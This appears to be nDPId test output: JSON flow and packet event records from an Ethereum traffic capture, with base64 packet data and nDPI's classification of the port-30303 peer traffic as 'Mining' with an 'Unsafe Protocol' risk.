+00625{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":421473,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"EBMx8Tl2KDc3AG3ICABFAADHWYMAAEARj8vAqAG4ImGsFnZfdl8As\/EZ15lp9gBLtC6IaCW33is1Th50j8UHjOmT4mAffcZn+yYEl4jGBnLnkKaeXePCjndUh79\/WTQA2R4kNex3KmtFmldicE1yJNj24ZecPC4hxpTcI9qIeMXPlU0BU5Rec0LcAQP4R7hAggEUSZWpWZm0YK3HCqZiBR7sHJ3wp8USPzyX73HGoWVqts4UjRd8TfDxZuCIPe7jI\/CXMWJB7l7pTCCyfJvg8YReFiBg"} +00546{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1578508364421,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"34.97.172.22","src_port":30303,"dst_port":30303,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1578508364422,"flow_last_seen":0,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":136,"flow_max_l4_data_len":136,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"66.42.82.246","src_port":30303,"dst_port":30303,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00568{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":422230,"pkt_caplen":170,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":170,"pkt_l4_len":136,"pkt":"EBMx8Tl2KDc3AG3ICABFAACcLWUAAEAR9WvAqAG4QipS9nZfdl8AiGZvYT14ALKwnMdgMCBzf19RhoDEZwfAnRP1Mz5t1CQfWH9BMW+RtakCpISLcdct0MfsiOdcBIDUccBBbd+y\/K0wDya+KeRA13HRMdUz2NPxyyUESIw4\/BeiGYIdI8USz9rYAAHdBMuEfwAAAYJ2X4J2X8mEQipS9oJ2X4CEXhYgYAU="} +00546{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1578508364422,"flow_last_seen":0,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":136,"flow_max_l4_data_len":136,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"66.42.82.246","src_port":30303,"dst_port":30303,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00625{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":422710,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"EBMx8Tl2KDc3AG3ICABFAADHAOAAAEAR3JLAqAG4NOelbHZfdl8As+U915lp9gBLtC6IaCW33is1Th50j8UHjOmT4mAffcZn+yYEl4jGBnLnkKaeXePCjndUh79\/WTQA2R4kNex3KmtFmldicE1yJNj24ZecPC4hxpTcI9qIeMXPlU0BU5Rec0LcAQP4R7hAggEUSZWpWZm0YK3HCqZiBR7sHJ3wp8USPzyX73HGoWVqts4UjRd8TfDxZuCIPe7jI\/CXMWJB7l7pTCCyfJvg8YReFiBg"} +01822{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":519784,"pkt_caplen":1097,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1097,"pkt_l4_len":1063,"pkt":"KDc3AG3IEBMx8Tl2CABFAAQ7F1RAAC8RPN4D0S1PwKgBuHZfdl8EJ4PVaVYTvO9LrTk6yni9j9O4lLCx8c3w2iOwFQRksfASVhzN6T8K7lnXRwHY7v3+ONhElGFbYOffjDytd02o206R62nDNZ+LcEa5V5K9KHZQh029ihE8Ury3mI0LZjHE13ZDAAT5A7r5A7L4S4QjtPapgnZdgLhAO5qC1ATimkffsyZlSJIXGVIuxdFsM86E7cqAjFOnv\/8DXNCQHJBVJiDXoCE+xGUbCBkPCreAagxpFk0Kv5X\/6PhNhKUWayGCdl+Cdl+4QFK2HHRAlM9Mj+TxGD7ACVRZHZtB58hxcD+hW2XdmacQwMOkGeflfz3iQaCGa6bw7UpxurZYH9DtQSW8Gn+wiV74TYRZJmMignZfgnZfuEBNXexB6IZur6GByNXF5kqBGoYoINyuPaRzRT\/L\/XeZwo80a\/N6vMBtsgrq2ZF9h4G0sqa47Wg7uKDWSZtY6p\/o+E2EsoDD3IJ2X4J2X7hAE9D206tRuSrRWszd5+5PqyxrzPQHPgJ6M4jR3YAwA4SXyWoQd9UmDUgHBtsrr3UYDBX+DpI9ijrH8jmNKWfim\/hNhKLzoFOCdl+Cdl+4QFcgAb+wxvXRoA\/jZ6pZpvtWMqWRnDTAVCrWET9xUm+STSO+d5OO9wGG7pHu9I5ueUw\/fAd5lu3NtaUH9uwTgQX4TYQSilEcgnZfgnZfuEDrOA+HQ7eWMjwlUeqXlrKvkuj1DTxVelkYAtV5dglpnIhrBZIeo034r7N3OARecEoNp0x6OeeY\/TD1OnJUir9u+E2EMyY8T4J2X4J2X7hAjvDxlr5M7BUzw40ony1SnzUKukEALVTn0B8WrIdd1Y\/HWL6mkTC4nsoMDegX1FF++rFMqjeViKJkeSDvzXh7sPhNhChDkICCdl+Cdl+4QHLmnbcNhaAJxQnuC0km5NBqC0yHT\/O8y7iwbqWb3zIi\/JNBIGOytm1SPyhBCVXEAh08vp59waAp0Fl3XZsLDpX4TYTH56bignZggnZguEAmai5v1neViV7teAsEvO\/IJYfemYLf2+j3ix3twO4cHaO8DDPa+4MSEcEzAFsUx\/2pmlUPII1TqUXgDk2+EYuF+E2EMyZRtIJ2X4J2X7hAgHT+RrAG20B8DB\/bHPvQKm79m+Z0+BB1fJpuHmieLdFavNthxznxmL2TjLC2hF17uhr9nJ8lRGk+kyETydUasfhNhFKR3PmCdl+Cdl+4QN1yRfRd+2g8MnNCa1j1Cnr1GFpxy7vxkYduQKQx1cGeo9xW0LFVTR4sISMRFqTJvP1+kBDeZDQ7++taiTPWLVf4TYSfy1QfgnZfgnZfuEATr9aMDwnYcu1Ru9AfCYxf1j4pIYv3iEkEPcprByn6GaZXC692Pg7aNtJE7Ibn2jkRlWjrNM1fsvjqm9oBENLzhF4WIGA="} +00965{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":519815,"pkt_caplen":467,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":467,"pkt_l4_len":433,"pkt":"KDc3AG3IEBMx8Tl2CABFAAHFF1VAAC8RP1MD0S1PwKgBuHZfdl8BsTR2htDCYwB7bPwVHRrppzCkGewLkUUNlB3jVcwKSsPl3PpRPPiYpogGSbVhGO6LOf+6vpmiVjQKuGK9fr9HzQor5V9uX7UyvZMEj8wMYsgT45Bz2Z7bdsQaazyQJOYgw3sXAAT5AUT5ATz4TYSi5B2ggnZfgnZfuEAwVdpN68jOobX+wHrrL2RH\/wK1ka2szeSJGHiHFFoNLEPxKwxFy33NRZ3ovPOnkwdh3qJaARUyaYeXnrMHfiPL+E2EpERrUoJ2YYJ2YbhAbVK4hBOIFxjMK61hoo+B2E1DFAGWystZDApZ1qWqMdGzPO6EtDCqKOy2kznyTf9sEf\/6IzNe3mDxF09nkCXqPPhNhCPpxYOCdl+Cdl+4QEyRwYHw012pKtGG4pX25QXUlp9AiY+SLu1l7sUn3fRNHZfvnNA3az+glcVdf8irWyfLyfxkF3pVP8czohGx7uH4TYTR+vDNgnZfgnZfuEDT1Pf73xy4M3qZSRLleOgEdgguFkAavHpg2I9RZUlU1ZSe7W107ts9v4ZrZs61PWJz3Pgt4YI56NsUnL8RZ7gNhF4WIGA="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1578508364522,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"66.42.82.246","src_port":56612,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":522823,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG4zfAqAG4QipS9t0kdl9\/aKJnAAAAALAC\/\/+zAAAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":14,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1578508364522,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"165.22.107.33","src_port":56610,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":522826,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGaCDAqAG4pRZrId0idl9zKqGzAAAAALAC\/\/9E3QAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1578508364522,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"104.42.217.25","src_port":56611,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":522827,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGNxTAqAG4aCrZGd0jdl\/sFGYiAAAAALAC\/\/\/WdgAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1578508364522,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"162.243.160.83","src_port":56613,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":522913,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGNRHAqAG4ovOgU90ldl\/qeq6yAAAAALAC\/\/+NewAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1578508364522,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"35.158.244.151","src_port":56615,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":522958,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGYCLAqAG4I570l90ndl+E\/i4vAAAAALAC\/\/+eigAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1578508364523,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"34.97.172.22","src_port":56617,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":523037,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGqeDAqAG4ImGsFt0pdl+dmoURAAAAALAC\/\/94yAAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1578508364523,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"52.231.165.108","src_port":56618,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":523039,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGngTAqAG4NOelbN0qdl\/FC\/gzAAAAALAC\/\/\/SVwAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":20,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1578508364523,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"191.234.162.198","src_port":56620,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":523109,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGFafAqAG4v+qixt0sdl9ft67AAAAAALAC\/\/\/4vwAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":21,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1578508364523,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"52.187.207.27","src_port":56621,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":523145,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGdIHAqAG4NLvPG90tdl\/U+mmAAAAAALAC\/\/8nlgAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":22,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1578508364523,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"18.138.108.67","src_port":56622,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":523182,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+YrAqAG4EopsQ90udl8TbQyrAAAAALAC\/\/\/LAQAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1578508364523,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"18.138.81.28","src_port":56623,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":523185,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGFLLAqAG4EopRHN0vdl8VNVkbAAAAALAC\/\/+X7wAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":24,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1578508364523,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"89.38.99.34","src_port":56624,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":523293,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGvA\/AqAG4WSZjIt0wdl+afwcPAAAAALAC\/\/8MDgAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":25,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1578508364523,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"5.1.83.226","src_port":56625,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":523327,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGH3XAqAG4BQFT4t0xdl\/cLTE7AAAAALAC\/\/8DmAAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1578508364523,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"178.128.195.220","src_port":56626,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":523356,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGAfvAqAG4soDD3N0ydl\/wysJIAAAAALAC\/\/9AcgAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":27,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1578508364523,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"34.255.23.113","src_port":56627,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":523418,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGPejAqAG4Iv8Xcd0zdl8e+UQoAAAAALAC\/\/\/MUAAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":28,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1578508364523,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"3.209.45.79","src_port":56628,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":523420,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGRzjAqAG4A9EtT900dl+bF1VlAAAAALAC\/\/9IRAAAAgQFtAEDAwUBAQgKItiUTwAAAAAEAgAA"} +00598{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":563748,"pkt_caplen":191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":191,"pkt_l4_len":157,"pkt":"KDc3AG3IEBMx8Tl2CABFAACxV7ZAADERmgVCKlL2wKgBuHZfdl8AnaK0fEIbGBqDvIrgEkHISxvw4daIo1RSAPsaWiRQZnDOwteCpdNuEHAKkf4qhTn951kjq+ta18NQVXgW\/g4PPXuXiV0Qa\/G9UyK1NNATBLMnTaWqYuSaSklfuyWrYJCN+duPAALyy4RPFs69gun3gun3oGE9eACysJzHYDAgc39fUYaAxGcHwJ0T9TM+bdQkH1h\/hF4WIIg="} +00437{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":565857,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAAC0GcyYjnvSXwKgBuHZf3ScG6rxyhP4uMKAScSBDbwAAAgQFrAQCCAo03AK8ItiUTwEDAwc="} +00427{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":565940,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGYC7AqAG4I570l90ndl+E\/i4wBuq8c4AQECzS\/AAAAQEICiLYlHo03AK8"} 